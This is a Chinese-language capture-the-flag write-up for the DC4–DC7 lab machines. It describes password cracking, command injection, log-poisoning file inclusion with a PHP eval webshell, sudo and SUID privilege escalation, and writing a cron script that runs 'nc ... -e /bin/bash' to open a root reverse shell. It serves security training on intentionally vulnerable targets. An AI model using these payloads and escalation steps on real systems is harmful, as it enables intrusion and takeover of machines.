DC4-DC7 wp
前言
总结一下几个靶机主要是DC4-DC7的一些思路,这一次会在省略一些不必要的细节。
实验环境以及工具
主要虚拟设备同上文。由于我之后给kali加了网卡,重新设置了下网络,使得kali和靶机在同一个网段下,可以直接使用反弹shell到msf上。经过调整后各个虚拟机的网络配置如下:
- kali en0 10.211.55.18 en1 192.168.56.10
- 本机 192.168.56.2
- DC7 192.168.56.100
- DC4 192.168.56.101
- DC5 192.168.56.102
- DC6 192.168.56.103
用到的工具为kali虚拟机中自带的工具和一些提权脚本。
涉及的知识点
- 弱口令爆破
- 敏感信息收集
- 任意命令执行,文件包含等常见web漏洞
- 简单的社工收集
- drupal 高版本后台getshell
- wordpress user-role-editor模块权限提升漏洞
- sudo的错误配置
- 错误配置的计划任务
DC4
- burp 抓包尝试用户名admin,使用rockyou爆破密码,弱口令登录后台。
- 进后台发现有命令执行的功能模块,抓包测试任意命令执行。
看下是否可以写shell,web根目录web用户无权限写,那么尝试一句话反弹。反弹成功。
收集敏感信息,发现在jim目录下发现old-password.bak文件。立即爆破ssh密码
jibril04,切换用户。验证sudo空密码并检查邮件并在/var/mail/jim邮箱中发现charles的密码^xHhA&hvim0y,再次切换用户。
发现charless可以sudo以root权限使用teehee。查看手册后发现可以直接修改/etc/passwd文件。
root:$1$EoKh.GjD$VoKnA1qNX8tBf1TQlcKYh/:0:0:root:/root:/bin/bash
修改root密码并登陆获得flag
需要注意的是,为了防止/etc/passwd 被写坏的情况建议先存个快照。
DC5
这题一开始我是蒙蔽的,后来看了wp才知道是文件包含。
依次验证各个文件,发现thankphp页面footer的日期会变化。尝试参数发现file参数控制文件包含,尝试包含nginx的access.log getshell。 这里需要注意的是传过去的数据要能够正确被包含,需要urldecode一下。
类似 xxx/<?php eval($_POST[1]);?>这样的,最后包含成功结果如下:
检查suid, 发现screen可以利用
刚好发现一个screen 4.50的 利用漏洞,上传使用即可获得root权限
DC6
- 访问发现是wordpress, 直接上wpscan枚举用户并按照提示爆破用户密码。发现只有mark helpdesk01可用,即登录。
- 根据Activity Monitor 模块查找admin的活动,127.0.0.1和192.168.0.100,意外发现wordpress使用user_role_editor插件,并且找到该插件的利用模块。
- 将该用户提权,然后修改wordpress样式表getshell,并获取反弹shell。
- 收集敏感信息后,在mark目录下找到graham的密码GSo7isUM1D4
- 切换用户查看sudo配置,
发现可以使用无jens密码执行backups脚本, 使用jens用户时,发现sudo可以无密码root执行nmap故使用nmap提取即可
DC7
这道题还是比较别致的,一开始还真没看到那个@DC7USER的问题。
扫了下端口,开了22和80。看了下作者的提示,需要考虑一下环境以外的因素。那估计是要社工?在打drupal8的几个cve失败后,注意到@DC7USER和通常的drupal版本不同,谷歌DC7USER,发现Dc7User的github仓库,在config.php找到mysql的登录密码。猜测mysql账号和密码和cms或者ssh账号密码是同一套。尝试ssh登录成功。
检查sudo发现没有异常,检查suid和mailbox,发现有一个/opt/scripts/backups.sh脚本,是以root权限运行的,从时间上来看是15分钟运行一次。去检查脚本所在文件权限。
1
-rwxrwxr-x 1 root www-data 38 Jan 26 14:18 backups.sh
这意味着root和www-data用户同时拥有写该文件的权限,也就是说如果能够拿到一个webshell就可以修改脚本弹一个rootshell到本地。
我们看一下脚本里面的逻辑,找一找能用的东西,发现一个gpg可以通过解密sql找出admin的密码,发现drush。drush提供了各种管理drupal cms的各种操作,其中包括了账号密码重置。这里就直接重置admin密码为123456,登录次数过多的话可以新创建一个admin权限的账号也一样。这样我们就进了后台。
检查了下版本发现是8.7.6,反序列化估计就不能用了。剩下的有两条路,一个是安装
PHP Filter模块,使用basic page写webshell,另外一个是通过上传theme功能上传包含.htaccess的webshell压缩包。这里由于权限的缘故,我选择了修改basic page getshell。之后修改backup脚本为
1
nc 192.168.56.2 12345 -t -e /bin/bash
等待15分钟的间隔即可获取一个具有root权限的反弹shell。
总结
感觉还是一个思路的问题,思路有了其实这几个靶机还不是很难。另外就是等网好了的时候。我想试试是不是可以通过上传theme拿shell。